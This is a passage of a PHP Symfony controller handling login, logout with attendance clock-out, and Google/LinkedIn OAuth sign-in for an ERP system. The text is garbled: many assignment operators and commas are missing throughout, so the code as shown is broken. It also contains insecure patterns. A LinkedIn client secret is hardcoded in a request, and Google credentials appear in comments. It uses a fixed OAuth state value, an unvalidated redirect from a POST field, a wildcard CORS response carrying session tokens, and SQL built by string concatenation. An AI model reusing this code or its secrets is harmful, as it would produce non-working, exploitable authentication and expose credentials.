  5443.                         'token' => $session->get('token'),
  5444.                         'firstLogin' => $firstLogin,
  5445.                         'oAuthImage' => $oAuthImage,
  5446.                         'appIdList' => json_encode($appIdList),
  5447.                         'branchIdList' => json_encode($branchIdList),
  5448.                         'branchId' => $branchId,
  5449.                         'companyIdListByAppId' => json_encode($companyIdListByAppId),
  5450.                         'companyNameListByAppId' => json_encode($companyNameListByAppId),
  5451.                         'companyImageListByAppId' => json_encode($companyImageListByAppId),
  5452.                         'userCompanyDarkVibrantList' => json_encode($company_dark_vibrant_list),
  5453.                         'userCompanyVibrantList' => json_encode($company_vibrant_list),
  5454.                         'userCompanyLightVibrantList' => json_encode($company_light_vibrant_list),
  5455.                     );
  5456.                     if ($systemType == '_CENTRAL_') {
  5457.                         $accessList = [];
  5458. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  5459.                         foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  5460.                             foreach ($thisUserUserTypes as $thisUserUserType) {
  5461.                                 if (isset($gocDataListByAppId[$thisUserAppId])) {
  5462.                                     $d = array(
  5463.                                         'userType' => $thisUserUserType,
  5464.                                         'globalId' => $globalId,
  5465.                                         'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  5466.                                         'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  5467.                                         'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  5468.                                         'systemType' => '_ERP_',
  5469.                                         'companyId' => 1,
  5470.                                         'appId' => $thisUserAppId,
  5471.                                         'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  5472.                                         'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  5473.                                         'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  5474.                                                 array(
  5475.                                                     'globalId' => $globalId,
  5476.                                                     'appId' => $thisUserAppId,
  5477.                                                     'authenticate' => 1,
  5478.                                                     'userType' => $thisUserUserType
  5479.                                                 )
  5480.                                             )
  5481.                                         ),
  5482.                                         'userCompanyList' => [
  5483.                                         ]
  5484.                                     );
  5485.                                     $accessList[] = $d;
  5486.                                 }
  5487.                             }
  5488.                         }
  5489.                         $accessList $this->appendCentralCustomerAccessList($accessList, (int)$globalId);
  5490.                         $session_data['userAccessList'] = $accessList;
  5491.                     }
  5492.                     $ultimateData System::setSessionForUser($em_goc,
  5493.                         $session,
  5494.                         $session_data,
  5495.                         $config
  5496.                     );
  5497. //                    $tokenData = MiscActions::CreateTokenFromSessionData($em_goc, $session_data);
  5498.                     $session_data $ultimateData['sessionData'];
  5499.                     $session_data $this->filterClientSessionData($session_data);
  5500.                     $token $ultimateData['token'];
  5501.                     $session->set('token'$token);
  5502.                     if ($systemType == '_CENTRAL_') {
  5503.                         $session->set('csToken'$token);
  5504.                     } else {
  5505.                         $session->set('csToken'$csToken);
  5506.                     }
  5507.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == || $request->query->get('remoteVerify'0) == 1) {
  5508.                         $session->set('remoteVerified'1);
  5509.                         $response = new JsonResponse(array(
  5510.                             'token' => $token,
  5511.                             'uid' => $session->get(UserConstants::USER_ID),
  5512.                             'session' => $session,
  5513.                             'success' => true,
  5514.                             'session_data' => $session_data,
  5515.                         ));
  5516.                         $response->headers->set('Access-Control-Allow-Origin''*');
  5517.                         return $response;
  5518.                     }
  5519.                     //TEMP START
  5520.                     if ($systemType == '_CENTRAL_') {
  5521.                         return $this->redirectToRoute('central_landing');
  5522.                     }
  5523.                     //TREMP END
  5524.                     if ($userForcedRoute != '')
  5525.                         return $this->redirectToRoute($userForcedRoute);
  5526.                     if ($request->request->has('referer_path')) {
  5527.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  5528.                             return $this->redirect($request->request->get('referer_path'));
  5529.                         }
  5530.                     }
  5531.                     if ($request->query->has('refRoute')) {
  5532.                         if ($request->query->get('refRoute') == '8917922')
  5533.                             $userDefaultRoute 'apply_for_consultant';
  5534.                     }
  5535.                     if ($userDefaultRoute == "" || $userDefaultRoute == "" || $userDefaultRoute == null)
  5536.                         $userDefaultRoute 'dashboard';
  5537.                     if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  5538.                         if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  5539.                             if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  5540.                                 $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  5541.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5542.                                 return $this->redirect($red);
  5543.                             }
  5544.                         } else {
  5545.                             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5546.                         }
  5547.                     } else
  5548.                         return $this->redirectToRoute($userDefaultRoute);
  5549.                 }
  5550.             }
  5551.         }
  5552.         $session $request->getSession();
  5553.         if (isset($encData['appId'])) {
  5554.             if (isset($gocDataListByAppId[$encData['appId']]))
  5555.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  5556.         }
  5557.         $routeName $request->attributes->get('_route');
  5558.         if ($systemType == '_BUDDYBEE_' && $routeName != 'erp_login') {
  5559.             $refRoute '';
  5560.             $message '';
  5561.             $errorField '_NONE_';
  5562. //            if ($request->query->has('message')) {
  5563. //                $message = $request->query->get('message');
  5564. //
  5565. //            }
  5566. //            if ($request->query->has('errorField')) {
  5567. //                $errorField = $request->query->get('errorField');
  5568. //
  5569. //            }
  5570.             if ($refRoute != '') {
  5571.                 if ($refRoute == '8917922')
  5572.                     $redirectRoute 'apply_for_consultant';
  5573.             }
  5574.             if ($request->query->has('refRoute')) {
  5575.                 $refRoute $request->query->get('refRoute');
  5576.                 if ($refRoute == '8917922')
  5577.                     $redirectRoute 'apply_for_consultant';
  5578.             }
  5579.             $google_client = new Google_Client();
  5580. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  5581. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  5582.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  5583.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  5584.             } else {
  5585.                 $url $this->generateUrl(
  5586.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  5587.                 );
  5588.             }
  5589.             $selector BuddybeeConstant::$selector;
  5590.             $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  5591. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  5592.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  5593. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  5594.             $google_client->setRedirectUri($url);
  5595.             $google_client->setAccessType('offline');        // offline access
  5596.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  5597.             $google_client->setRedirectUri($url);
  5598.             $google_client->addScope('email');
  5599.             $google_client->addScope('profile');
  5600.             $google_client->addScope('openid');
  5601.             return $this->render(
  5602.                 '@Authentication/pages/views/applicant_login.html.twig',
  5603.                 [
  5604.                     'page_title' => 'BuddyBee Login',
  5605.                     'oAuthLink' => $google_client->createAuthUrl(),
  5606.                     'redirect_url' => $url,
  5607.                     'message' => $message,
  5608.                     'errorField' => '',
  5609.                     'systemType' => $systemType,
  5610.                     'ownServerId' => $ownServerId,
  5611.                     'refRoute' => $refRoute,
  5612.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  5613.                     'selector' => $selector
  5614.                 ]
  5615.             );
  5616.         } else if ($systemType == '_CENTRAL_' && $routeName != 'erp_login') {
  5617.             $refRoute '';
  5618.             $message '';
  5619.             $errorField '_NONE_';
  5620. //            if ($request->query->has('message')) {
  5621. //                $message = $request->query->get('message');
  5622. //
  5623. //            }
  5624. //            if ($request->query->has('errorField')) {
  5625. //                $errorField = $request->query->get('errorField');
  5626. //
  5627. //            }
  5628.             if ($refRoute != '') {
  5629.                 if ($refRoute == '8917922')
  5630.                     $redirectRoute 'apply_for_consultant';
  5631.             }
  5632.             if ($request->query->has('refRoute')) {
  5633.                 $refRoute $request->query->get('refRoute');
  5634.                 if ($refRoute == '8917922')
  5635.                     $redirectRoute 'apply_for_consultant';
  5636.             }
  5637.             $google_client = new Google_Client();
  5638. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  5639. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  5640.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  5641.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  5642.             } else {
  5643.                 $url $this->generateUrl(
  5644.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  5645.                 );
  5646.             }
  5647.             $selector BuddybeeConstant::$selector;
  5648. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  5649.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  5650. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  5651.             $google_client->setRedirectUri($url);
  5652.             $google_client->setAccessType('offline');        // offline access
  5653.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  5654.             $google_client->setRedirectUri($url);
  5655.             $google_client->addScope('email');
  5656.             $google_client->addScope('profile');
  5657.             $google_client->addScope('openid');
  5658.             return $this->render(
  5659.                 '@Authentication/pages/views/central_login.html.twig',
  5660.                 [
  5661.                     'page_title' => 'Central Login',
  5662.                     'oAuthLink' => $google_client->createAuthUrl(),
  5663.                     'redirect_url' => $url,
  5664.                     'message' => $message,
  5665.                     'systemType' => $systemType,
  5666.                     'ownServerId' => $ownServerId,
  5667.                     'errorField' => '',
  5668.                     'refRoute' => $refRoute,
  5669.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  5670.                     'selector' => $selector
  5671.                 ]
  5672.             );
  5673.         } else if ($systemType == '_ERP_' && ($this->container->hasParameter('system_auth_type') ? $this->container->getParameter('system_auth_type') : '_LOCAL_AUTH_') == '_CENTRAL_AUTH_') {
  5674.             return $this->redirect(GeneralConstant::HONEYBEE_CENTRAL_SERVER '/central_landing');
  5675.         } else
  5676.             return $this->render(
  5677.                 '@Authentication/pages/views/login_new.html.twig',
  5678.                 array(
  5679.                     "message" => $message,
  5680.                     'page_title' => 'Login',
  5681.                     'gocList' => $gocDataListForLoginWeb,
  5682.                     'gocId' => $gocId != $gocId '',
  5683.                     'systemType' => $systemType,
  5684.                     'ownServerId' => $ownServerId,
  5685.                     'encData' => $encData,
  5686.                     //                'ref'=>$request->
  5687.                 )
  5688.             );
  5689.     }
  5690.     public function initiateAdminAction(Request $request$remoteVerify 0)
  5691.     {
  5692.         $em $this->getDoctrine()->getManager();
  5693.         MiscActions::initiateAdminUser($em);
  5694.         $this->addFlash(
  5695.             'success',
  5696.             'The Action was Successful.'
  5697.         );
  5698.         return $this->redirectToRoute('user_login');
  5699.     }
  5700.     public function LogoutAction(Request $request$remoteVerify 0)
  5701.     {
  5702.         $session $request->getSession();
  5703.         $em_goc $this->getDoctrine()->getManager('company_group');
  5704.         $session $request->getSession();
  5705.         $token $request->headers->get('auth-token'$request->request->get('token'$request->request->get('hbeeSessionToken''')));
  5706. //        return new JsonResponse([$token]);
  5707.         if ($session->get(UserConstants::USER_ID0) == 0) {
  5708. //                    return new JsonResponse([$token]);
  5709.             $to_set_session_data MiscActions::GetSessionDataFromToken($em_goc$token)['sessionData'];
  5710.             if ($to_set_session_data != null) {
  5711.                 foreach ($to_set_session_data as $k => $d) {
  5712.                     //check if mobile
  5713.                     $session->set($k$d);
  5714.                 }
  5715.             } else {
  5716.                 $hbeeErrorCode ApiConstants::ERROR_TOKEN_EXPIRED;
  5717.             }
  5718.         }
  5719.         $userId $session->get(UserConstants::USER_ID);
  5720.         $currentTime = new \Datetime();
  5721.         $currTs $currentTime->format('U');
  5722.         $routeName $request->attributes->get('_route');
  5723.         $currentTaskId $session->get(UserConstants::USER_CURRENT_TASK_ID0);
  5724.         $currentPlanningItemId $session->get(UserConstants::USER_CURRENT_PLANNING_ITEM_ID0);
  5725.         if ($request->query->get('endCurrentTask'1) == 1) {
  5726.             if (
  5727.                 ($currentTaskId != && $currentTaskId != null && $currentTaskId != '') &&
  5728.                 ($session->get(UserConstants::USER_TYPE) == UserConstants::USER_TYPE_GENERAL ||
  5729.                     $session->get(UserConstants::USER_TYPE) == UserConstants::USER_TYPE_SYSTEM)
  5730.             ) {
  5731.                 $gocId $session->get(UserConstants::USER_GOC_ID);
  5732.                 $appId $session->get(UserConstants::USER_APP_ID);
  5733.                 $acknowledgementService $this->get('app.public_document_acknowledgement_service');
  5734.                 list($em$goc) = $acknowledgementService->getPublicDocumentEntityManager($appId);
  5735.                 $stmt $em->getConnection()->executeStatement('UPDATE task_log set working_status=2, actual_end_ts=' $currTs ' where working_status=1 and user_id= ' $session->get(UserConstants::USER_ID) . ' ;');
  5736.                 if (1) {
  5737.                     $session->set(UserConstants::USER_CURRENT_TASK_ID0);
  5738.                     $session->set(UserConstants::USER_CURRENT_PLANNING_ITEM_ID0);
  5739.                     $empId $session->get(UserConstants::USER_EMPLOYEE_ID0);
  5740.                     $currTime = new \DateTime();
  5741.                     $options = array(
  5742.                         'notification_enabled' => $this->container->getParameter('notification_enabled'),
  5743.                         'notification_server' => $this->container->getParameter('notification_server'),
  5744.                     );
  5745.                     $positionsArray = [
  5746.                         array(
  5747.                             'employeeId' => $empId,
  5748.                             'userId' => $session->get(UserConstants::USER_ID0),
  5749.                             'sysUserId' => $session->get(UserConstants::USER_ID0),
  5750.                             'timeStamp' => $currTime->format(DATE_ISO8601),
  5751.                             'lat' => 23.8623834,
  5752.                             'lng' => 90.3979294,
  5753.                             'markerId' => HumanResourceConstant::ATTENDANCE_MARKER_CLOCK_OUT,
  5754. //                            'userId'=>$session->get(UserConstants::USER_ID, 0),
  5755.                         )
  5756.                     ];
  5757.                     if (is_string($positionsArray)) $positionsArray json_decode($positionsArraytrue);
  5758.                     if ($positionsArray == null$positionsArray = [];
  5759.                     $dataByAttId = [];
  5760.                     $workPlaceType '_UNSET_';
  5761.                     foreach ($positionsArray as $findex => $d) {
  5762.                         $sysUserId 0;
  5763.                         $userId 0;
  5764.                         $empId 0;
  5765.                         $dtTs 0;
  5766.                         $timeZoneStr '+0000';
  5767.                         if (isset($d['employeeId'])) $empId $d['employeeId'];
  5768.                         if (isset($d['userId'])) $userId $d['userId'];
  5769.                         if (isset($d['sysUserId'])) $sysUserId $d['sysUserId'];
  5770.                         if (isset($d['tsMilSec'])) {
  5771.                             $dtTs ceil(($d['tsMilSec']) / 1000);
  5772.                         }
  5773.                         if ($dtTs == 0) {
  5774.                             $currTsTime = new \DateTime();
  5775.                             $dtTs $currTsTime->format('U');
  5776.                         } else {
  5777.                             $currTsTime = new \DateTime('@' $dtTs);
  5778.                         }
  5779.                         $currTsTime->setTimezone(new \DateTimeZone('UTC'));
  5780.                         $attDate = new \DateTime($currTsTime->format('Y-m-d') . ' 00:00:00' $timeZoneStr);
  5781.                         $EmployeeAttendance $this->getDoctrine()
  5782.                             ->getRepository(EmployeeAttendance::class)
  5783.                             ->findOneBy(array('employeeId' => $empId'date' => $attDate));
  5784.                         if (!$EmployeeAttendance) {
  5785.                             continue;
  5786.                         } else {
  5787.                         }
  5788.                         $attendanceInfo HumanResource::StoreAttendance($em$empId$sysUserId$request$EmployeeAttendance$attDate$dtTs$timeZoneStr$d['markerId']);
  5789.                         if ($d['markerId'] == HumanResourceConstant::ATTENDANCE_MARKER_CLOCK_OUT) {
  5790.                             $workPlaceType '_STATIC_';
  5791.                         }
  5792.                         if (!isset($dataByAttId[$attendanceInfo->getId()]))
  5793.                             $dataByAttId[$attendanceInfo->getId()] = array(
  5794.                                 'attendanceInfo' => $attendanceInfo,
  5795.                                 'empId' => $empId,
  5796.                                 'lat' => 0,
  5797.                                 'lng' => 0,
  5798.                                 'address' => 0,
  5799.                                 'sysUserId' => $sysUserId,
  5800.                                 'companyId' => $request->getSession()->get(UserConstants::USER_COMPANY_ID),
  5801.                                 'appId' => $request->getSession()->get(UserConstants::USER_APP_ID),
  5802.                                 'positionArray' => []
  5803.                             );
  5804.                         $posData = array(
  5805.                             'ts' => $dtTs,
  5806.                             'lat' => $d['lat'],
  5807.                             'lng' => $d['lng'],
  5808.                             'marker' => $d['markerId'],
  5809.                             'src' => 2,
  5810.                         );
  5811.                         $posDataArray = array(
  5812.                             $dtTs,
  5813.                             $d['lat'],
  5814.                             $d['lng'],
  5815.                             $d['markerId'],
  5816.                             2
  5817.                         );
  5818.                         $dataByAttId[$attendanceInfo->getId()]['markerId'] = $d['markerId'];
  5819.                         //this markerId will be calclulted and modified to check if user is in our out of office/workplace later
  5820.                         $dataByAttId[$attendanceInfo->getId()]['attendanceInfo'] = $attendanceInfo;
  5821.                         $dataByAttId[$attendanceInfo->getId()]['positionArray'][] = $posData;
  5822.                         $dataByAttId[$attendanceInfo->getId()]['lat'] = $d['lat'];  //for last lat lng etc
  5823.                         $dataByAttId[$attendanceInfo->getId()]['lng'] = $d['lng'];  //for last lat lng etc
  5824.                         if (isset($d['address']))
  5825.                             $dataByAttId[$attendanceInfo->getId()]['address'] = $d['address'];  //for last lat lng etc
  5826. //                $dataByAttId[$attendanceInfo->getId()]['positionArray'][]=$posDataArray;
  5827.                     }
  5828.                     $response = array(
  5829.                         'success' => true,
  5830.                     );
  5831.                     foreach ($dataByAttId as $attInfoId => $d) {
  5832.                         $response HumanResource::setAttendanceLogFlutterApp($em,
  5833.                             $d['empId'],
  5834.                             $d['sysUserId'],
  5835.                             $d['companyId'],
  5836.                             $d['appId'],
  5837.                             $request,
  5838.                             $d['attendanceInfo'],
  5839.                             $options,
  5840.                             $d['positionArray'],
  5841.                             $d['lat'],
  5842.                             $d['lng'],
  5843.                             $d['address'],
  5844.                             $d['markerId']
  5845.                         );
  5846.                     }
  5847.                 }
  5848.             }
  5849.         }
  5850.         if ($token != '')
  5851.             MiscActions::DeleteToken($em_goc$token);
  5852.         $session->clear();
  5853.         $session->set('CLEARLOGIN'1);
  5854.         if (strripos($request->server->get('HTTP_REFERER'), 'select_data') === false) {
  5855.             if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != '') {
  5856.                 $referrerPath parse_url($request->server->get('HTTP_REFERER'), PHP_URL_PATH);
  5857.                 $referrerPath strtolower($referrerPath === false || $referrerPath === null $request->server->get('HTTP_REFERER') : $referrerPath);
  5858.                 if (strripos($referrerPath'/auth/') === false && strripos($referrerPath'undefined') === false) {
  5859.                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN'$request->server->get('HTTP_REFERER'));
  5860.                 } else {
  5861.                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5862.                 }
  5863.             }
  5864.         } else {
  5865.             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5866.         }
  5867. //        $request->headers->setCookie(Cookie::create('CLEARLOGINCOOKIE', 1
  5868. //            )
  5869. //
  5870. //        );
  5871.         if ($routeName == 'app_logout_api' || $request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == || $request->query->get('remoteVerify'0) == || $request->get('returnJson'0) == 1) {
  5872.             if ($userId) {
  5873.                 return new JsonResponse(array(
  5874.                     "success" => empty($session->get(UserConstants::USER_ID)) ? true false,
  5875.                     "message" => "Logout Successfull!",
  5876.                     'session_data' => [],
  5877.                     'userId' => $userId
  5878.                 ));
  5879.             } else {
  5880.                 return new JsonResponse(array(
  5881.                     "success" => empty($session->get(UserConstants::USER_ID)) ? false true,
  5882.                     "message" => "Already Logout",
  5883.                     'session_data' => [],
  5884.                     'userId' => $userId
  5885.                 ));
  5886.             }
  5887.         }
  5888.         return $this->redirectToRoute("dashboard");
  5889.     }
  5890.     public function applicantLoginAction(Request $request$encData ''$remoteVerify 0)
  5891.     {
  5892.         $session $request->getSession();
  5893.         $email $request->getSession()->get('userEmail');
  5894.         $sessionUserId $request->getSession()->get('userId');
  5895.         $oAuthData = [];
  5896. //    $encData='';
  5897.         $em $this->getDoctrine()->getManager('company_group');
  5898.         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  5899.         $redirectRoute 'dashboard';
  5900.         if ($encData != '') {
  5901.             if ($encData == '8917922')
  5902.                 $redirectRoute 'apply_for_consultant';
  5903.         }
  5904.         if ($request->query->has('encData')) {
  5905.             $encData $request->query->get('encData');
  5906.             if ($encData == '8917922')
  5907.                 $redirectRoute 'apply_for_consultant';
  5908.         }
  5909.         $message '';
  5910.         $errorField '_NONE_';
  5911.         if ($request->query->has('message')) {
  5912.             $message $request->query->get('message');
  5913.         }
  5914.         if ($request->query->has('errorField')) {
  5915.             $errorField $request->query->get('errorField');
  5916.         }
  5917.         if ($request->request->has('oAuthData')) {
  5918.             $oAuthData $request->request->get('oAuthData', []);
  5919.         } else {
  5920.             $oAuthData = [
  5921.                 'email' => $request->request->get('email'''),
  5922.                 'uniqueId' => $request->request->get('uniqueId'''),
  5923.                 'oAuthHash' => '_NONE_',
  5924.                 'image' => $request->request->get('image'''),
  5925.                 'emailVerified' => $request->request->get('emailVerified'''),
  5926.                 'name' => $request->request->get('name'''),
  5927.                 'firstName' => $request->request->get('firstName'''),
  5928.                 'lastName' => $request->request->get('lastName'''),
  5929.                 'type' => 1,
  5930.                 'token' => $request->request->get('oAuthtoken'''),
  5931.             ];
  5932.         }
  5933.         $isApplicantExist null;
  5934.         if ($email) {
  5935.             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  5936.                 $isApplicantExist $applicantRepo->findOneBy([
  5937.                     'applicantId' => $sessionUserId
  5938.                 ]);
  5939.             } else
  5940.                 return $this->redirectToRoute($redirectRoute);
  5941.         }
  5942.         $google_client = new Google_Client();
  5943. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  5944. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  5945.         if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  5946.             $url $this->generateUrl('user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL);
  5947.         } else {
  5948.             $url $this->generateUrl(
  5949.                 'user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL
  5950.             );
  5951.         }
  5952.         $selector BuddybeeConstant::$selector;
  5953.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  5954.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  5955. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  5956.         $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  5957. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  5958.         $google_client->setRedirectUri($url);
  5959.         $google_client->setAccessType('offline');        // offline access
  5960.         $google_client->setIncludeGrantedScopes(true);   // incremental auth
  5961.         $google_client->addScope('email');
  5962.         $google_client->addScope('profile');
  5963.         $google_client->addScope('openid');
  5964. //    $google_client->setRedirectUri('http://localhost/applicant_login');
  5965.         //linked in 1st
  5966.         if (isset($_GET["code"]) && isset($_GET["state"])) {
  5967.             $curl curl_init();
  5968.             curl_setopt_array($curl, array(
  5969.                 CURLOPT_RETURNTRANSFER => true,   // return web page
  5970.                 CURLOPT_HEADER => false,  // don't return headers
  5971.                 CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  5972.                 CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  5973.                 CURLOPT_ENCODING => "",     // handle compressed
  5974.                 CURLOPT_USERAGENT => "test"// name of client
  5975.                 CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  5976.                 CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  5977.                 CURLOPT_TIMEOUT => 120,    // time-out on response
  5978.                 CURLOPT_URL => 'https://www.linkedin.com/oauth/v2/accessToken',
  5979.                 CURLOPT_USERAGENT => 'InnoPM',
  5980.                 CURLOPT_POSTFIELDS => urldecode("grant_type=authorization_code&code=" $_GET["code"] . "&redirect_uri=$url&client_id=86wi39zpo46wsl&client_secret=X59ktZnreWPomqIe"),
  5981.                 CURLOPT_POST => 1,
  5982.                 CURLOPT_HTTPHEADER => array(
  5983.                     'Content-Type: application/x-www-form-urlencoded'
  5984.                 )
  5985.             ));
  5986.             $content curl_exec($curl);
  5987.             $contentArray = [];
  5988.             curl_close($curl);
  5989.             $token false;
  5990. //      return new JsonResponse(array(
  5991. //          'content'=>$content,
  5992. //          'contentArray'=>json_decode($content,true),
  5993. //
  5994. //      ));
  5995.             if ($content) {
  5996.                 $contentArray json_decode($contenttrue);
  5997.                 $token $contentArray['access_token'];
  5998.             }
  5999.             if ($token) {
  6000.                 $applicantInfo = [];
  6001.                 $curl curl_init();
  6002.                 curl_setopt_array($curl, array(
  6003.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  6004.                     CURLOPT_HEADER => false,  // don't return headers
  6005.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6006.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6007.                     CURLOPT_ENCODING => "",     // handle compressed
  6008.                     CURLOPT_USERAGENT => "test"// name of client
  6009.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6010.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6011.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  6012.                     CURLOPT_URL => 'https://api.linkedin.com/v2/me?projection=(id,localizedFirstName,localizedLastName,firstName,lastName,profilePicture(displayImage~:playableStreams))',
  6013.                     CURLOPT_USERAGENT => 'InnoPM',
  6014.                     CURLOPT_HTTPGET => 1,
  6015.                     CURLOPT_HTTPHEADER => array(
  6016.                         'Authorization: Bearer ' $token,
  6017.                         'Header-Key-2: Header-Value-2'
  6018.                     )
  6019.                 ));
  6020.                 $userGeneralcontent curl_exec($curl);
  6021.                 curl_close($curl);
  6022.                 if ($userGeneralcontent) {
  6023.                     $userGeneralcontent json_decode($userGeneralcontenttrue);
  6024.                 }
  6025.                 $curl curl_init();
  6026.                 curl_setopt_array($curl, array(
  6027.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  6028.                     CURLOPT_HEADER => false,  // don't return headers
  6029.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6030.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6031.                     CURLOPT_ENCODING => "",     // handle compressed
  6032.                     CURLOPT_USERAGENT => "test"// name of client
  6033.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6034.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6035.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  6036.                     CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress?q=members&projection=(elements*(handle~))',
  6037. //            CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress',
  6038.                     CURLOPT_USERAGENT => 'InnoPM',
  6039.                     CURLOPT_HTTPGET => 1,
  6040.                     CURLOPT_HTTPHEADER => array(
  6041.                         'Authorization: Bearer ' $token,
  6042.                         'Header-Key-2: Header-Value-2'
  6043.                     )
  6044.                 ));
  6045.                 $userEmailcontent curl_exec($curl);
  6046.                 curl_close($curl);
  6047.                 $token false;
  6048.                 if ($userEmailcontent) {
  6049.                     $userEmailcontent json_decode($userEmailcontenttrue);
  6050.                 }
  6051. //        $oAuthEmail = $applicantInfo['email'];
  6052. //        return new JsonResponse(array(
  6053. //          'userEmailcontent'=>$userEmailcontent,
  6054. //          'userGeneralcontent'=>$userGeneralcontent,
  6055. //        ));
  6056. //        return new response($userGeneralcontent);
  6057.                 $oAuthData = [
  6058.                     'email' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6059.                     'uniqueId' => $userGeneralcontent['id'],
  6060.                     'image' => $userGeneralcontent['profilePicture']['displayImage~']['elements'][0]['identifiers'][0]['identifier'],
  6061.                     'emailVerified' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6062.                     'name' => $userGeneralcontent['localizedFirstName'] . ' ' $userGeneralcontent['localizedLastName'],
  6063.                     'firstName' => $userGeneralcontent['localizedFirstName'],
  6064.                     'lastName' => $userGeneralcontent['localizedLastName'],
  6065.                     'type' => 1,
  6066.                     'token' => $token,
  6067.                 ];
  6068.             }
  6069.         } else if (isset($_GET["code"])) {
  6070.             $token $google_client->fetchAccessTokenWithAuthCode($_GET["code"]);
  6071.             if (!isset($token['error'])) {
  6072.                 $google_client->setAccessToken($token['access_token']);
  6073.                 $google_service = new Google_Service_Oauth2($google_client);
  6074.                 $applicantInfo $google_service->userinfo->get();
  6075.                 $oAuthEmail $applicantInfo['email'];
  6076.                 $oAuthData = [
  6077.                     'email' => $applicantInfo['email'],
  6078.                     'uniqueId' => $applicantInfo['id'],
  6079.                     'image' => $applicantInfo['picture'],
